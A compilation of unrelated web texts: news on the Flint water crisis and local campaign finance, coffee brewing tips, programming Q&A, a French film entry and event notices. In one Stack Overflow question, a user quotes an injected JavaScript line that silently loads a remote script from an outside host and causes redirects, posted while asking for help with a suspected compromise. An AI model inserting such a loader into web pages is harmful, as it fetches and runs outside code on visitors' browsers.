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NewsOne Now Exclusive: Former Flint Emergency Manager Discusses Origins Of The Flint Water Crisis
Earley told Martin the "issue of the Flint water crisis is more of a treatment issue, instead of a leadership issue."
Posted By NewsOne Now | 03.15.16
In an exclusive interview, former Flint Emergency Manager Darnell Earley spoke with Roland Martin, host of TV One's NewsOne Now, about the origins of the Flint water crisis and his role in the man-made disaster.
Earley, joined by his lawyer, Attorney A. Scott Bolden, explained that the decision to switch Flint's water supply to the Flint River and use services from the KWA Water Authority was made by the Flint City Council.
According to Earley, "There was consensus about the Flint River being used in the interim" while infrastructure was established to facilitate the switch from the Detroit Water and Sewerage Department (DWSD) under former Emergency Manager Edward Kurtz.
Earley later added that Kurtz signed two emergency orders in 2013 "supporting the switch from DWSD to KWA and he signed an emergency order to improve the Flint water treatment plant for the purpose of using the Flint River in the interim."
"The move to KWA meant you had to have an alternative water source for two years while the plant was being constructed, the consensus was because the Flint River had been used as a back-up water source for the 50 years of the DWSD contract and because prior to the DWSD contract, the Flint River had been the primary source of water for the City of Flint. It made sense as the option because they could not afford to not have resources to buy water from Detroit any longer," said Earley.
Martin responded to Earley's statement regarding the use of the Flint River as a water source, saying residents "knew for years water from the Flint River was bad" and asked, "So why did they decide to use water from the Flint River knowing full well it didn't match the quality from Detroit?"
Earley replied, "The issues about the Flint River and its water quality is one of treatment and it is an issue that everyone has had to pretty much rely on the treatment experts — that would be the Michigan Department of Environmental Quality, the Environmental Protection Agency, and they at no time said that the water was not fit for consumption."
Watch part one of Roland Martin's exclusive interview with former Flint Emergency Manager Darnell Earley in the video clip above.
Former Flint Emergency Manager Refuses To Assign Blame For The Flint Water Crisis
During the second part of Roland Martin's exclusive interview with former Flint Emergency Manager Darnell Earley, Martin asked Early if he "would accept any responsibility or blame" for the Flint Water Crisis.
Earley responded to Martin's direct question, saying, "There is responsibility there obviously, and certainly the leadership position you have responsibility, but you also depend on others to give you the information that you need, and I think the issues regarding the issue of the Flint water crisis are more of a treatment issue, instead of a leadership issue, from the standpoint of my role as an Emergency Manager."
Later, Earley insisted the water from the Flint River was "safe to drink" per the Michigan Department of Environmental Quality, despite the concerns being voiced by the community.
When asked if Gov. Rick Snyder should resign his position or be recalled as a result of the poisoning of an American city, Early said, "The Governor should stay and do what he can to fix this issue — he's committed to that — I think it makes sense for him to be at the lead and the forefront of trying to fix this issue."
"The idea of trying to find someone to say they're responsible or that they are blamed for that doesn't get us anywhere. What we need is people engaged in all levels — at the federal level, at the state level, at the local level, working to try and solve this issue," said Earley.
He added, "That's where our efforts should be. Not in terms of the political nature of what's happened here, and he (Gov. Rick Snyder) is the best person, in my opinion, to fix this issue."
Watch Roland Martin and former Flint Emergency Manager Darnell Earley discuss the origins, as well as who is responsible for the Flint water crisis, in the video clip above.
TV One's Now has moved to 7 A.M. ET, be sure to watch "NewsOne Now" with Roland Martin, in its new time slot on TV One.
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The French Press coffee maker
By Edoardo Zanato - June 13, 2019 January 14, 2022 - Brewing Coffee, Coffee Machines for Home
1 Press coffee maker review
2 How to use the French press: Six steps for brewing the perfect coffee ratio
3 French press coffee maker price
The French Press is always being questioned about its history and its name. In 1852 "a first attempt" was made by two French men, Mayer and Delforge, though it was just a basic device that went then patented and improved in 1929 by the Italians Attilio Calimani and Giulio Moneta. Several patents have then been designed with the one by the Swiss man Faliero Bondanini in 1958, as the most successful one. It was manufactured in Chambord, central France, which also gave the name at the device.
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Press coffee maker review
French press, cafetière, coffee press or coffee plunger are some of the most popular names which you may have heard around the globe, depending on where you were at that time.
Regardless of their name, the french press (that's the one I prefer) is one of the easier ways to brew coffee at home or even in a coffee shop.
Hand pressure is made through a piston that forces the coffee to the bottom (similar to the Aeropress brewing method) but it's easier, it doesn't require any kind of filter and any particular skills, once you know how to play with the variables (coffee dose, water and time).
Just before going on with the article, French press delivers a full, velvety body so in case you are a big fan of V60 or Kalita pour over with that tea-like body, it might be the time for you to leave just here or, perhaps, to go on and to try a different experience.
As I said, the French press doesn't require any filter which means all the oils are not absorbed, but instead, are part of final brew which results in a stronger cup. That's what distinguishes the french press from any other brewing method.
How to use the French press: Six steps for brewing the perfect coffee ratio
It takes only around 4 minutes from the moment you pour the water. But let's be more precise.
preheat the brewer with hot water: the french press needs to be warm it up to have a constant temperature during all the infusion;
grind the beans to a coarse grind. We grind coarse for two reasons: first, coarser grind help avoiding too much grit in the cup as too many fines would pass through the mesh filter. And second, finer grind helps over-extracting the coffee which results in a bitter taste. More simply put, a large ground of coffee is going to absorb more water (water takes more time to permeate the ground) which is reflected in more flavour, even extraction and no bitterness. I would start with a ratio of 60-65 grams per 1 litre of water.
use the scale and put the coffee in the french press. Then start the timer pouring enough water (between 88-92 degrees) to cover all the ground of coffee (usually twice the amount of the coffee dose is enough). We just give a little stir to make sure we are wetting all the particles. After 30 seconds of blooming, we can pour all the water and wait from 3 to 5 minutes. Let's say 4 minutes as a standard brewing time but then it's just a personal taste that it's also influenced by the roast profile and the brew ratio we are using.
Just before the last step, we can stir the top in which the coffee grounds are floating and then skim the foam off the top using a spoon.
It's time to place the lid and press the plunger. We are going to press gently as we don't want to make any turbulence or stress again the coffee. In the case of too much resistance, we should stop because it means that the coffee is too fine. In case of lack of resistance, it means the coffee is too coarse.
After pressing down the coffee we should pour out all the coffee in a (preheated) server because over steeping the coffee cause over-extraction which results in bitterness in the cup.
Enjoy your cup!
And lastly, don't forget the water. Remember to play not only with the coffee dose or the brewing time but also try different water.
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2 thoughts on "The French Press coffee maker"
Wendy Cane
French presses are wonderful. They're reliable, easy to use and consistently make excellent coffee. They had a huge surge in popularity a few years ago but this method certainly deserves the praise.
It's an intimate brewing process, I find. Excellent for lunch with friends.
That's exactly what it is. It doesn't require any particular skills.
Easy to get a consistent result with a gritty and full body in the cup.

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Finding the right medicine to treat mental illness is not just emotionally taxing – it can be economically draining.
While almost 20 million Americans suffer from depression, less than half receive specialized care. As a result, many health care providers employ a "trial and error" methodology where they prescribe different medications or combinations of medications to determine what will work best for a patient. This can result in frustration, unused medicine and wasted money.
A survey found that 30 to 40 percent of people don't respond well to the first anti-depressant they're prescribed. Many end up trying five to six medications without a significant reduction in symptoms, and for about 20 to 30 percent, nothing seems to work.
Experts say far too many adults with major depressive disorder receive no treatment for long periods of time, while those with mild depression are overmedicated. In fact, studies show as many as two-thirds of all antidepressant prescriptions are written for patients who aren't severely depressed.
While U.S. employers pay $26 billion per year in depression treatment, that doesn't reflect patient costs—prescription drug co-payments and out-of-pocket psychotherapy costs. According to the Agency for Healthcare Research and Quality, patients bear about 16 percent of the total costs of mental health treatment. Nearly half of psychiatrists don't accept private insurance, which means higher out-of-pocket expenses. A single, unsubsidized psychotherapy session can range from about $75 on the low end to as high as $250.
Even when a person is in active treatment, it is important to devise a maintenance plan to help prevent recurrence of symptoms. This typically includes antidepressant medications, psychotherapy, or both. Many patients suffer relapses due to various factors, such as not adhering to treatment, stopping medications due to side effects, negative thoughts, and unavoidable life traumas.
Genes influence a person's response to medications. This in part explains why one drug can be so effective for one patient with severe depression but not work for others.
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Candidates vying for the North and South district seats on the Porter County Board of Commissioners are showing some muscle in their war chests just weeks away from the May 8 primary elections.
On Friday, campaign contributions of $100 or more from January 19 to April 13 were required to be disclosed by candidates in this year's primary. Candidates submitted their pre-primary campaign finance reports to the county voters registration office.
According to reports turned in, County Commissioner incumbent John Evans who is running for reelection on the Republican ticket for North district chalked up the largest total amount of contributions and receipts with $33,280 collected through April 13. His biggest individual contributors are Charles P. Welter, of Porter ($1,000); and Jacki Stutzman, of Valparaiso ($1,000). Other notable contributors are Portage Mayor James Snyder ($500), former Portage Mayor Doug Olson ($500); Chesterton Town Council member Jeff Trout ($250); State Rep. Ed Soliday ($250); and Valparaiso Clerk-Treasurer Sharon Swihart ($200).
Corporations backing Evans' include DLZ Indiana ($1,000); and Awin Management Inc. of Phoenix, Ariz. ($1,750).
Evans' campaign also received large amounts from three political action committees (PACs): Indiana Realtors PAC, of Indianapolis ($2,000); DPBG PAC, of Indianapolis ($1,000); and Northwest Indiana Building and Construction Trade Council PAC, of Munster ($500).
Evans' opponent and current County Council member Jim Biggs reported a much smaller total of $5,725 in contributions and receipts. Biggs' top individual contributors included Michael and Rhonda Young, of Portage ($500); Portage Mayor James Snyder ($500); and Janice Wilson, of Portage ($250).
Corporations giving to Biggs include United States Steel Corp., of Pittsburg, Penn. ($500); Rhame & Elwood, of Portage ($400); Semento Inc., of Valparaiso ($250); and Duneland Collision and Repair ($200).
Taking in the largest single donation is Democrat Laura Shurr Blaney's campaign for the South district County Commissioner seat. Blaney's aunt Jacki Stutzman donated $20,000 of the total $22,789 raised in the campaign according to the report.
Subsequent donations include $500 for Portage law firm Vouga & Associates, $250 from former County Commissioner Robert Harper, $300 from Valparaiso attorney G. Anthony Bertig, $300 from Iron Workers Local 395 and $100 from Porter County Sheriff David Lain.
Blaney, a current County Council at-large member, faces a challenge on the Democratic ticket from Jerry A. Puckett.
Puckett's campaign report showed $800 total attributed to Puckett himself.
Back on the GOP side, South County Commissioner candidate Mike Heinold had the third largest war chest in the commissioner races with a total of $10,515. His top individual donors include Larry and Sherry Bucher, of Valparaiso ($2,500); and Willis Conner, of Indianapolis ($1,000). Heinold also received $2,000 from the Indiana Realtors PAC, $795 from Friends of Heinold, and $500 from O'Connor Builders, of Valparaiso.
Heinold's opponent, current County Council member Jim Polarek, raised less with $4,607 total. His backers include the Porter County Republican South Committee ($2,000); Mark Forszt, of Valparaiso ($1,000); Joe Semento, of Valparaiso ($250); and Citizens for (James) Snyder ($200).
Things are quieter for the council at-large races, despite a total of six candidates on the GOP ticket. The largest war chest belongs to Republican Ralph Neff who reported a total of $16,350 in contributions and receipts through April 13. Neff's donors include Neff himself who loaned $5,000; Mechanical Concepts, of Gary ($2,000); Northern Indiana Sheet Metal Contractors Association, of Hobart ($500); and Chris Campbell, of Valparaiso ($500).
The Citizens to Elect Joe Wszolek committee took in $5,035, which consists of a $2,400 contribution from the Indiana Realtors PAC.
Indiana Realtors PAC was also the top donor to the Committee to Elect Mark Hoffman, which reported a campaign total of $3,950, and the Committee to Elect Ethan Lowe, doling each campaign a share worth $1,600.
Lowe's committee reported $3,200 in total contributions and receipts including a $1,000 donation from Blachy, Tabor Bozik & Hartman law firm where Lowe works as an attorney.
The Committee to Elect Ralph Iler tallied up $3,220 as its campaign total, with $1,500 from Iler himself.
Edward K. Morales' committee listed a $2,000 contribution from the Porter County Republican South Committee for its total.
For the four Democrat candidates, current incumbent and Council president Dan Whitten listed a $1,026 to his committee for reelection.
Democrat incumbent Sylvia Graham revealed a $2,000 loan she gave to her reelection bid and an additional $300 from Iron Workers Local 395, of Hammond. Her committee has raised a total of $3,500 so far.
Challengers to Graham and Whitten in the pick-three race, Bob Poparad and Ned Kovachevich reported a total of $0.
Outside of the council and commissioner races, Judge William Alexa running for reelection on the Democrat ballot as Superior Court II Judge has his campaign amount totals reaching into the five-figure range despite the fact Alexa is unopposed in the May 8 primary.
The Committee to Reelect William Alexa, Judge holds a total of $17,418 so far. Giving to the campaign with $500 or more are law firms and attorneys starting with Sarkisian & Fleming, of Portage ($2,000); Rhame & Elwood, of Portage ($800); Gary S. Germann, of Portage ($500); G. Anthony Bertig, of Valparaiso ($500); Larry Rogers, of Valparaiso ($500); and Robert Harper, of Valparaiso ($500).
Also running for the Superior Court II Judge, unopposed Republican Anthony Pampalone reported a single $2,000 contribution from Angelo Pampalone.
The Committee to Reelect Jeffrey L. Thode as Judge reported having $1,979 of cash in hand. Thode is running unopposed for Judge of Surperior Court VI on the Republican ballot.
In the contested Republican race for County Surveyor, Richard Hudson outraised his opponent Bill Rensberger. Hudson has taken in $3,733 in contributions and reciepts so far with his top supporters being Edward J. Hutson, of Chesterton, and Mike Whiting, of Medinah, Ill., both giving $500 each.
Rensberger's campaign report said he has raised $0 in contributions.
Current surveyor incumbent Kevin Breitzke, who faces no challenger in his Democrat primary run, reported $100 in expenditures.
Running unopposed, Democratic County Treasurer Mike Bucko disclosed three contributions as he runs for reelection this year. The contributions come from labor groups Boilermakers Local 374, of Hammond ($500); Pipefitters Local 597, of Chicago ($500); and Plumbers Local 210, of Merrillville ($500).


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We went back to Canyon Lake to beat the heat. We didn't end up beating it, but we overcame it while we were in the water anyway. Canyon Lake is one of the lakes made from the Salt River dams. It was another gorgeous drive. We also saw Tortilla Flat (a touristy community of 6!) and the boys took a hike. They had to climb another mountain. Lizzy and I opted to watch from the shade.
This is one of my favorite drives...when Dan's the driver of course. Glad you got to be there.


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Q: Angular 4 Json object to Class Object When I cast to Class Object extra values from Json pop up when I Log the Class object.
This is the Class Model

export class PersonModel {
    _index : string;
    _type : string;
    _id : string;
    demo : "test";
    _score : number;
    _source : {
        name : string;
        age : number;
        salary:number;
        details :{
            year: number;
            education:{
                score:number;
            };
        };
    };
}

This is final output I get when I print the class object.Its not even printing the demo field from class.

{
"_index":"person",
"_type":"single",
"_id":"AV-Migit0bfajafmy3",
"_version":2,
"found":true,
"_source":{
"name":"hyd",
"salary":600000,
"age":27
}

I wanted to know how to convert the Json into Class Object so that I can fill the details field and save it to database.
Here is the conversion code

getPerson (id : string): Observable<PersonModel> {

    const url = `${this.url}/${id}`;
    return this.http.get< PersonModel >(url);
  }

A: You should actually create separate classes for your source and details, import them and refer inside the PersonModel class

A: This code does not create an instance of your class and populate it. Rather, it creates a JSON object that resembles the class using the data provided in the Http response.

getPerson (id : string): Observable<PersonModel> {

    const url = `${this.url}/${id}`;
    return this.http.get< PersonModel >(url);
  }

If you want an instance of your class (so you can populate any other properties or call its methods), you need to create the instance and copy the JSON object into it.
Something like this in the calling component's subscribe():
const myPerson = Object.assign(new PersonModel(), <dataFromHttp>)

A: You have a problem with the type of demo, it should be demo:string
export class PersonModel {
    _index : string;
    _type : string;
    _id : string;
    demo : string;
    _score : number;
    _source : {
        name : string;
        age : number;
        salary : number;
        details : {
            year: number;
            education : {
                score : number;
            };
        };
    };
}

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The University of Plymouth annual transdisciplinary practice-research postgraduate conference this year takes place in Dartmoor National Park over the weekend of 10-11 June 2017, and is now open for booking.
Following the call for contributions, we are pleased to announce the schedule and open the conference up to any postgraduate students and early career researchers, based at any institution, who may wish to attend.
Please see the schedule for more information on the range of workshops, performances, and papers throughout the weekend.
We are able to offer a few open sessions, whereby anyone who isn't presenting has an opportunity to share their work and research informally, either through discussion or a prepared Pecha Kucha. This will work in a similar format to an 'open-mic' event, whereby anyone interested in sharing will be able to sign up at the start of the session.
There will also be opportunity throughout the weekend for conversations to develop. We wish to create a community of knowledge sharing that promotes discussion and action through doing, and the workshops scheduled take us out outside, on to the moors.
Please note, due to the nature of the accommodation and the environment, the conference does present accessibility issues. If you would like to attend and this is impeded by the nature of the conference please let us know, and we will discuss how we can facilitate this.
We are able to offer free places for University of Plymouth affiliated students, and subsidized places for non University of Plymouth affiliated students at a rate of £30 for the entire weekend. This covers attendance, accommodation and Sunday's food. Places are limited and available on a first-come first-serve basis.
This event is organized by Chris Green, Katheryn Owens and Beth Emily Richards, who are all PhD candidates in the Performance.Experience.Presence (P.E.P) research group at Plymouth University. It is supported through funding from the School of Humanities and Performing Arts and P.E.P. at Plymouth University, and the Hardship Fund kindly donated by Natalie Raven via Santander funding.


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est un film dramatique brésilien, réalisé par Leon Hirszman sur un scénario écrit en collaboration avec le documentariste Eduardo Coutinho, basé sur la pièce éponyme de Nélson Rodrígues et sorti en 1965.

C'est le premier film où joue Fernanda Montenegro. En , le film est inclus dans la liste établie par l'Association brésilienne des critiques de cinéma (Abraccine) des 100 meilleurs films brésiliens de tous les temps.

Synopsis
 signifie «La morte». Zulmina (interprétée par Fernanda Montenegro, dont c'est le premier rôle au cinéma, bien que déjà comédienne au théâtre et à la télévision depuis une quinzaine d'années), est une femme assez jeune de condition modeste. Elle est aussi hypocondriaque et obsédée notamment par le cancer. Le film  se situe dans des faubourgs misérables de Rio-de-Janeiro. Zulmina a une relation extraconjugale avec un homme riche, peu de temps avant sa mort. . Elle tombe malade finalement, non pas d'un cancer, mais de tuberculose. En guise de dernière volonté, elle demande à son mari, un chômeur du nom de Toninho (Ivan Cândido), des funérailles grandioses et luxueuses. Elle meurt. Pour satisfaire ses dernières volontés, Toninho doit demander de l'argent, sur les conseils de son ex-épouse, à l'homme le plus riche du quartier, Guimarães (Paulo Gracindo). L'homme refuse de payer les funérailles mais finit par lui dire qu'il a eu une liaison avec la défunte, sans savoir que la personne avec lequel il parle est le veuf. Le mari, alors enragé, commence à faire chanter Guimarães. Après quoi, Toninho garde l'argent obtenu et commande le cercueil le moins cher pour Zulmira. Pendant les funérailles, alors qu'il est au stade de football, Toninho se retrouve ému aux larmes.

Fiche technique
 Réalisateur : Leon Hirszman
 Producteurs : Meta Produções Cinematográficas Ltda., Aloísio Leite Garcia, Joffre Rodrigues
 Producteur excécutif : Billy Davis
 Scénaristes : Leon Hirszman, Eduardo Coutinho, basé sur la pièce éponyme de Nélson Rodrígues
 Musique : Radamés Gnattali
 Directeur artistique : Régis Monteiro

Distribution

 Fernanda Montenegro : Zulmira
 Paulo Gracindo : João Guimarães Pimentel
 Ivan Cândido : Toninho
 Nelson Xavier : Timbira
 Joel Barcellos :
 Dinorah Brillanti :
 Hugo Carvana :
 Lucy Costa :
 Eduardo Coutinho :
 Billy Davis :
 Oswaldo Ferreira :
 Lurdes Freitas :
 Zé Keti :
 Vanda Lacerda : Madame Crisálida, la diseuse de bonne aventure
 Glória Ladany :
 Aloísio Leite :
 Otolindo Lopes :
 José Medeiros :
 Wilmar Menezes :
 Waldir Onofre :
 Joffre Rodrigues :
 Virginia Vale :
 José Wilker :

Accueil

Le film accumule les prix, notamment pour l'interprétation de sa principale actrice, Fernanda Montenegro. Au Festival du film de Brasília en 1965, elle remporte le trophée Candango de la «meilleure actrice». La même année, elle remporte également le prix de la «meilleure actrice» aux Prix du Gouverneur de l'État de São Paulo. Le troisième prix reçu par Fernanda pour le rôle de Zulmira est encore une fois dans la catégorie «meilleure actrice» lors de la Première semaine du cinéma brésilien.

Toujours en 1965, lors du deuxième festival du film de Teresópolis, le film est récompensé dans les catégories «meilleur film», «meilleur réalisateur» pour Leon Hirszman, «meilleur acteur» pour Paulo Gracindo et «meilleur scénario» pour Nelson Rodrigues. Au Festival international du film de Rio de Janeiro, le long métrage remporte le prix Gaivota de Ouro.

Notes et références

Liens externes

Film brésilien sorti en 1965
Film dramatique brésilien
Adaptation d'une pièce de théâtre au cinéma
Film brésilien en noir et blanc
Film du Cinema Novo
Film réalisé par Leon Hirszman

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Q: Since booleans are an integral type in C++, does this mean "0.0" is not false? Background
In C++, booleans are stored as integers:

Boolean values are not actually stored in Boolean variables as the words "true" or "false". Instead, they are stored as integers: true becomes the integer 1, and false becomes the integer 0. Similarly, when Boolean values are evaluated, they don't actually evaluate to "true" or "false". They evaluate to the integers 0 (false) or 1 (true). Because Booleans actually store integers, they are considered an integral type.

However, this seemed to contradict something I have seen. I recently came across a branched file that seemed to imply that the float value 0.0 is also equivalent to false as shown below:
Base Version
arraySet_[m][n].resize(VALUES().maximumCellsPerRow[r], 0.0);

Branched Version
arraySet_[m][n].resize(VALUES().maximumCellsPerRow[r],false);

Given this equivalence I have seen, I am now wondering...
Question
Even though booleans are stored as integers, does C++ interpret the float value of 0.0 as false as well?


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"Lieutenant Dan, what are you doing here?"
Last night, I waited in a line at the theatre. After waiting for a time, we were let in, and despite being somewhere around 50th in line, I got an excellent seat. Some time later, the lights dimmed and someone's commander came to the stage to introduce the Lt. Dan Band. Gary Sinise plays bass in a 12-person ensemble that does shows for the USO. They play an eclectic selection of Soul, Country, Rock, Jazz, whatever. It was a great show.
So my seat was, in fact, front row. I was close enough to see the sweat on their brows. To cap it off, I was able to coin Kimo Williams (a Vietnam Vet who plays guitar) and I got a set list from the stage.
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So, my connection will be ...sketchy... for a bit.
The above poem is an exact translation of Prophet Mohammad's Hadith from Arabic into Farsi by the Persian poet Saadi. It graces the entrance to the Hall of Nations in the UN building.
Very apropos today, I think.


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Analyst Says MGM Grand Stock is Undervalued
Jason Ader -- Bear, Stearns & Co.'s prominent gaming analyst - calls MGM Grand a "great buying opportunity'' at its current price levels. Ader issued his report Friday, when the stock was trading for $21. It lost 50 cents today, closing at $20.50.
MGM Grand plans to pay $6.7 billion for Mirage Resorts. Ader based his bullish comments on a belief that the Mirage deal will close sooner than expected and that MGM Grand will realize "much more cost synergies and revenue enhancement opportunities than originally estimated."
Ader originally estimated that the combined company would save $125 million in costs. In his report Friday, he said that estimate may be too conservative. The combined company will save money on entertainment booking fees, purchasing of supplies and insurance, and the elimination of redundant marketing offices around the world.
An early closing would mean that these savings could be substantial enough to affect this year's financial results, Ader said. He also said that "non-strategic asset sales will occur," but he said it's too early to say which MGM/Mirage properties might be sold. And he expects a secondary stock offering, which would enable MGM Grand to keep its investment grade rating after the cost of the Mirage purchase.
Based on a five-year analysis, Ader calculates an "asset value" for MGM of $29 to $32 a share. "Given the recent softness in the stock, we believe the current share price represents a very compelling buying opportunity," he concludes.


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KGNU celebrates 22nd annual Charles Sawtelle Mountain Jam at Gold Hill
By Marquee Magazine on	 July 1, 2010 Features, Interviews, Jonathan S. Gang
:: KGNU's 22nd Annual Charles Sawtelle Mountain Jam feat.  Oakhurst, Sarah Siskind and Friends, and the Blue Canyon Boys ::
::  Gold Hill Inn :: July 18 ::
By Jonathan S. Gang
According to dawgnet.com, Charles Sawtelle's business card had only one word on it (besides his name). It had no address or telephone number —just one word: "Expert."
That says a lot about Sawtelle, something about his "less is more" approach to things, about his sense of humor, and besides, it was true. He was an "Expert."
Hailed as "one of the most innovative guitar players in bluegrass history" by Flat Picking Merchantile, the Austin, Texas native came to Boulder in the late 1970s. He found his passion for music playing steel guitar and eventually found his way to the acoustic guitar and bluegrass music.
Sawtelle was best known as a member of Boulder's seminal bluegrass superstars Hot Rize. After being formed in 1978, Hot Rize became one of America's best-known bluegrass bands. They recorded numerous albums, including the Grammy-nominated Take it Home in 1990. The group toured the world together until they semi-retired in 1990.
Sawtelle also played the part of the silent bassist "Slade" in the band's alter-ego comedy country-western group, Red Knuckles and the Trailblazers. The band performed halfway through nearly every Hot Rize show.
When Hot Rize disbanded in 1990, Charles joined forces with Peter Rowan, and also formed his own band, The Whippets. He recorded and toured with various groups in the U.S. and overseas and also produced records by a variety of different bluegrass and folk artists.
Sawtelle passed away in 1999 of lukemia, at the age of 52.
The hole that Sawtelle's passing left in the community has yet to be refilled, and likely never will be, but each year, KGNU honors Sawtelle with the Mountain Jam, and utilizes the event as a fund raiser for the station.
This year's performers include:
:: Oakhurst ::
One of the leading players of a rising style that could be very well described as "dancegrass," this Denver quintet combines the traditional lineup of guitar, mandolin, banjo, and bass with a drummer and some serious rock and roll attitude. Equally adept at traditional bluegrass pickin' and punky, rockabilly-inspired rave-ups, Oakhurst makes audiences forget they're making all that noise come out of acoustic instruments. The Mountain Jam show finds the band in the midst of a summer-long Colorado residency, including several shows in the Boulder and Denver areas.
:: Sarah Siskind and Friends ::
Sarah Siskind is a Nashville-based singer/songwriter whose songs have been performed by acts as diverse as Alison Krauss, Randy Travis, Bon Iver, and the Infamous Stringdusters. On her own, however, she brings her passionate, smoky voice to her Southern gothic songs of love and loss. Her latest album, 2009's Say it Louder, was named the Americana album of the year at the Nashville Music Awards.
:: Blue Canyon Boys ::
They're from Colorado, but close your eyes and you'd swear they were straight out of Kentucky circa 1934. The winners of the 2008 Telluride Bluegrass Festival band contest, the Blue Canyon Boys serve up their bluegrass with a heaping side of high-lonesome harmonies, lightnin' fast pickin', and old-timey traditionals. They are currently hard at work on their fourth album, creatively and tentatively titled, BCB-004.
:: KGNU's 22nd Annual Charles Sawtelle Mountain Jam feat. Oakhurst, Sarah Siskind and Friends, and the Blue Canyon Boys ::
:: Gold Hill Inn :: July 18 ::
Recommended if you Like:
• Hot Rize
• Yonder Mountain String Band
• Alison Krauss
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MySQL Proxy is a really neat tool. I remember a few years back when I first saw Jan talking about it. Back in those days it was significantly different than it is now, but the concept remains the same: direct your database traffic through a man-in-the-middle. Chris Calender's post on capturing erroneous queries with MySQL Proxy shows one use for Proxy. But wait. MySQL Proxy is just inspecting the MySQL protocol. And unless you're using it for something else too, having a man in the middle to catch errors is like standing in the middle of the street and blocking traffic to count the cars on the street. Why don't you stand on the sidewalk to count the cars instead?
Maybe we can use tcpdump. If you search Google you'll see lots of examples of using tcpdump and grep to extract queries from the MySQL protocol. These examples usually fall on their face when there are multi-line queries, or the compressed protocol is in use, but here there's another problem: the error flag is just a field in the protocol, and that's not very easy to inspect with grep. I'm not sure it's even reasonably possible.
Next, let's set it up to observe the traffic so we can see what's happening on the server.
That'll capture traffic on port 3306 and push it into mk-query-digest, which defaults to aggregating and reporting on queries. But what we really want to do with that traffic is filter out all the traffic that doesn't have errors. This is a one-liner, but I'll take a detour to show you how to fish instead of just giving you the fish.
Sorry to disappoint if you were expecting something more complicated!
Presto, we have a way to catch all queries causing errors.
There are a lot of benefits to doing things this way. Of course, we can do all the usual things with the queries (filter, aggregate, report, save to a file and analyze with any of a number of tools, store to the database…). But even better, we can do that at any time, without having to install MySQL Proxy or do anything else disruptive to the system. In fact, we can even dump the tcpdump output to a file and take it elsewhere to examine it—there is no need to even have Perl or the Maatkit tools on the server you want to examine. This is one of the nice things about not coupling the analysis and collection tightly together, which is unique to mk-query-digest as far as I know.


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Rand Paul Exposes The Corruption Behind The $1.7 Trillion Omnibus Spending Bill…
(RepublicanWire.org) – Senator Rand Paul (R-KY) reached his limit with Speaker Nancy Pelosi, Chuck Schumer, and Mitch McConnell calling the $1.7 trillion dollar omnibus spending bill an abomination. He dragged the bill in front of reporters for a press conference where he correctly said, "the American people don't want this —they are sick and tired of it."
Rand said: "When was it produced? In the dead of the night. 1:30 in the morning is when it was released. Whose job is it to produce this?!
"I brought along the 1.7 trillion, 4,000+ page Pelosi-Schumer omnibus spending bill that's being fast-tracked through the Senate. This process stinks. It's an abomination. It's a no-good rotten way to run government. We're standing up and saying No."
I brought along the 1.7 trillion, 4,000+ page Pelosi-Schumer omnibus spending bill that's being fast-tracked through the Senate. This process stinks. It's an abomination. It's a no good rotten way to run government. We're standing up and saying NO. pic.twitter.com/Wom6xKEeQh
— Senator Rand Paul (@SenRandPaul) December 20, 2022
Paul also wrote and performed his own scary version of 'Twas the Night Before Christmas.'
"Twas the week before Christmas, and through the Senate and House, not a creature was stirring, not even a mouse. The earmarks were hung by the chimney with care, in hopes that St. Nicholas soon would be there.
"The senators were nestled all snug in their beds, while visions of pork danced in their heads.
"No budget was found, just mischief and debt. While the taxpayers hung their poor heads and wept.
"Now, McConnell! Now, Schumer! Now, Pelosi and Vixen! On Biden! On Stupid! On Dumber and Blitzen! To debt! To bankruptcy! To free money for all! Now dash, dash away, more cash for all!
"This spending season, instead of naughty and nice, Santa brought everyone something regardless of price.
"And don't forget a delicious candy cane, sweet with $40 billion to tide over Ukraine. Because of the climate, it's not PC to leave coal. No one seems to care, because we're trillions in the hole.
"Don't worry about leaving the budget a mess. Democrats have given you 87,000 agents of the IRS
"But I heard him exclaim, as he drove out of sight, 'Happy bankruptcy to all, and to all a good night,'" he said.
🎄 I wrote and performed my own scary version of 'Twas the Night Before Christmas 🎄 Enjoy! pic.twitter.com/IHI0uNyW0N
— Rand Paul (@RandPaul) December 20, 2022
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Q: Google Analytics load malicious files, many sites auto redirect? Recently, I have seen many websites (even Stackoverflow, Microsoft...) auto-redirected to sites in China (jiayijiayi...).
It starts in Google's analytics.js file.  When I browse to http://www.google-analytics.com/analytics.js I see:

The first line is pretty strange:
var _hmt_en=_hmt_en||[];(function(){var a=document.createElement("script");a.src="http://cdn.tongjii.us/tongji/tongji.js";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})();

The tongji.js script then loads other scripts:

I'm not sure if this is a Google problem or one specific to my computer.  I have Bitdefender Internet Security trial and reinstalled Windows recently.  This is also occurring on other mobile devices.


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– Turns 135 on Saturday June 25! | New
By Bernice J. Beasley on June 22, 2022 Apostolic festivities
In the summer of 1887, 135 years ago, the communities of Linington, Stella and Cut Throat saw the establishment of a new railway line nearby as an opportunity.
The three communities came together to form a new village, called "The Village Of Heart". At the suggestion of a Mrs. Townes (wife of the local dentist), it was named after Hiram W. Diggins, the railroad superintendent and former hotelier who oversaw the expansion of Kansas City, Fort Scott & Gulf Railway heading east from Springfield.
In less than three weeks, the Village of Diggins will mark the occasion with a ceremony and celebration on Saturday, July 9 at Founders' Park, located just south of US 60 on the NN Freeway.
"We start at 9:30 a.m. (July 9) with a patriotic presentation," said David Bowers, chairman of the Diggins Park Board. "We will raise the flag, sing the 'Spangled Banner' and then take the 'Pledge of Allegiance.' There will be donor presentations for the Founders Gateway and other structures and projects from the past year.
"There is also a ribbon-cutting ceremony for the walkway and the inauguration of the museum."
Bowers' eyes widened briefly as he smiled, "We have a lot planned for the day."
The day's festivities will include musical performances from 'The Isaac Kenneth Band', 'Dave Kilgore & Company', 'The Heard Family Singers', 'The Bluegrass Company' and gospel music from Diggins Baptist Church and the Greater Life Apostolic Church.
"There will be chanting throughout the day," Bowers said. "Isaac Kenneth will take the stage at 11 a.m. and play until noon. After that, it's a continuous program until 3:30 p.m. Lots of music.
The program includes the grand opening of the Walton Pavilion, named after former village resident Sam Walton, the founder of Wal-Mart, whose grandfather opened and ran the first storefront in Diggins.
"They honored their roots here, so we want to recognize that." Bowers explained. The Museum Of Heart, with its new collection of historical artifacts and ephemera, will also receive its dedication on July 9.
"Diggins Baptist Church is having fish fry and Zion Lutheran Church will be there with ice cream," Bowers said with a smile. "The Shop (a new business on the east side of the village, located just west of Highway O) will do hot dogs.
The village of Diggins will have cake, punch, coffee and water. At the museum, we are going to eat popcorn.
There will be something to eat for everyone.
